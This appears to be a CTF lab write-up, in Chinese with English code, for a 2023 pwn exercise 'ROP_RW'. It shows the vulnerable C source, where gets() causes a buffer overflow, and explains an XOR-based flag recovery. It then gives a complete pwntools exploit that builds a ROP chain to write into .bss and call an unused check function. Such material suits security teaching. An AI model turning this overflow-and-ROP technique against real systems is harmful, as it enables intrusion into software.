Simple PWN 0x33(2023 Lab - ROP_RW)

Simple PWN 0x33(2023 Lab - ROP_RW)

Background

ROP chain

Source code

:::spoiler Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <fcntl.h>

char flag[0x10];
long secret;
char empty_buf[0x30];

void check(char *input)
{
	char pass[0x10];
	char output[0x10];
	for (int i = 0; i < 2; ++i)
	{
		((long *)pass)[i] = ((long *)input)[i] ^ secret;
	}
	if (strcmp(pass, "kyoumokawaii") == 0)
	{
		for (int i = 0; i < 2; ++i)
			((long *)output)[i] = ((long *)flag)[i] ^ ((long *)pass)[i];
	}
	printf("flag = %s\n", output);
}

int main(void)
{
	setvbuf(stdin, 0, _IONBF, 0);
	setvbuf(stdout, 0, _IONBF, 0);
	int fd = 0;
	char buf[0x10];
	fd = open("/home/chal/flag.txt", O_RDONLY);
	read(fd, flag, 0x10);
	close(fd);

	fd = open("/dev/urandom", O_RDONLY);
	read(fd, &secret, sizeof(secret));
	for (int i = 0; i < 2; ++i)
		((long *)flag)[i] = ((long *)flag)[i] ^ secret;

	printf("secret = %lx\n", secret);
	printf("> ");
	gets(buf);

	return 0;
}

:::

Recon

先看這個程式的行為,在main當中,他會打開flag.txt和urandom這兩個file,然後做兩者的XOR,並且回傳urandom的內容給我們,並且有BOF的漏洞存在 :::info flag和secret這兩個變數都是global variable ::: 而check這個function的功能是我們可以輸入一個input,他會和secret做XOR,若結果等於==kyoumokawaii==就把前面加密過的flag再跟kyoumokawaii做XOR並回傳給我們

思路很簡單: 雖然整隻程式都沒有呼叫到check function,但如果我們拿到secret,又可以進到check,是否可以做一些操作拿到flag 一開始一定會做的事情是把flag加密 \(cipher= flag \oplus secret\\\) 如果可以進到check function \(input\leftarrow kyoumokawaii\oplus secret\) \(output\leftarrow cipher\oplus kyoumokawaii=flag\oplus secret\oplus kyoumokawaii\) \(flag = output\oplus secret\oplus kyoumokawaii\) 此時output, secret都已知,我們反推出flag為何,但重點是要怎麼呼叫到check function?==ROP chain + BOF==

  1. 先利用該隻binary的gadget蓋成我們需要的chain,並且隨便找一個區間是不太會寫入的bss section address
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
     check_fn_addr = 0x4017ba
     bss_section = 0x4c7f00
     pop_rdx_rbx_ret = 0x0000000000485e8b
     mov_qword_ptr_rdi_rdx_ret = 0x00000000004337e3
     pop_rdi_ret = 0x00000000004020af
     ...
     rop_chain = flat(
     pop_rdi_ret,        bss_section,
     pop_rdx_rbx_ret,    input_1,        0,
     mov_qword_ptr_rdi_rdx_ret,
     pop_rdi_ret,        bss_section + 0x8,
     pop_rdx_rbx_ret,    input_2,        0,
     mov_qword_ptr_rdi_rdx_ret,
     pop_rdi_ret,        bss_section,
     check_fn_addr
     )
    
  2. 等到跳到check function後就可以開始接return output,並按照上面的公式回推flag

Exploit - ROP + BOF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from Crypto.Util.number import bytes_to_long, long_to_bytes

# r = process('./chal')
r = remote('10.113.184.121', 10051)
context.arch = 'amd64'

r.recvuntil(b'secret = ')
secret = int(r.recvline().strip().decode(), 16)
log.info(f'secret = {hex(secret)}')

check_fn_addr = 0x4017ba
bss_section = 0x4c7f00
pop_rdx_rbx_ret = 0x0000000000485e8b
mov_qword_ptr_rdi_rdx_ret = 0x00000000004337e3
pop_rdi_ret = 0x00000000004020af

input_1 = u64(b'kyoumoka') ^ secret
input_2 = u64(b'waii\x00\x00\x00\x00') ^ secret
log.info(f'input_1 = {hex(input_1)}, input_2 = {hex(input_2)}')

rop_chain = flat(
    pop_rdi_ret,        bss_section,
    pop_rdx_rbx_ret,    input_1,        0,
    mov_qword_ptr_rdi_rdx_ret,
    pop_rdi_ret,        bss_section + 0x8,
    pop_rdx_rbx_ret,    input_2,        0,
    mov_qword_ptr_rdi_rdx_ret,
    pop_rdi_ret,        bss_section,
    check_fn_addr
)
# raw_input()
r.sendlineafter(b'> ', b'a' * 40 + rop_chain)
r.recvuntil(b'flag = ')
output = r.recvline().strip()
log.info(f'output = {output}')
log.info(f'Part 1 = {hex(u64(output[0:8]))}, Part 2 = {hex(u64(output[8:16]))}')
flag_1 = p64(u64(output[0:8]) ^ input_1)
flag_2 = p64(u64(output[8:16]) ^ input_2)
log.info(f'flag = {(flag_1 + flag_2).strip().decode()}')

r.interactive()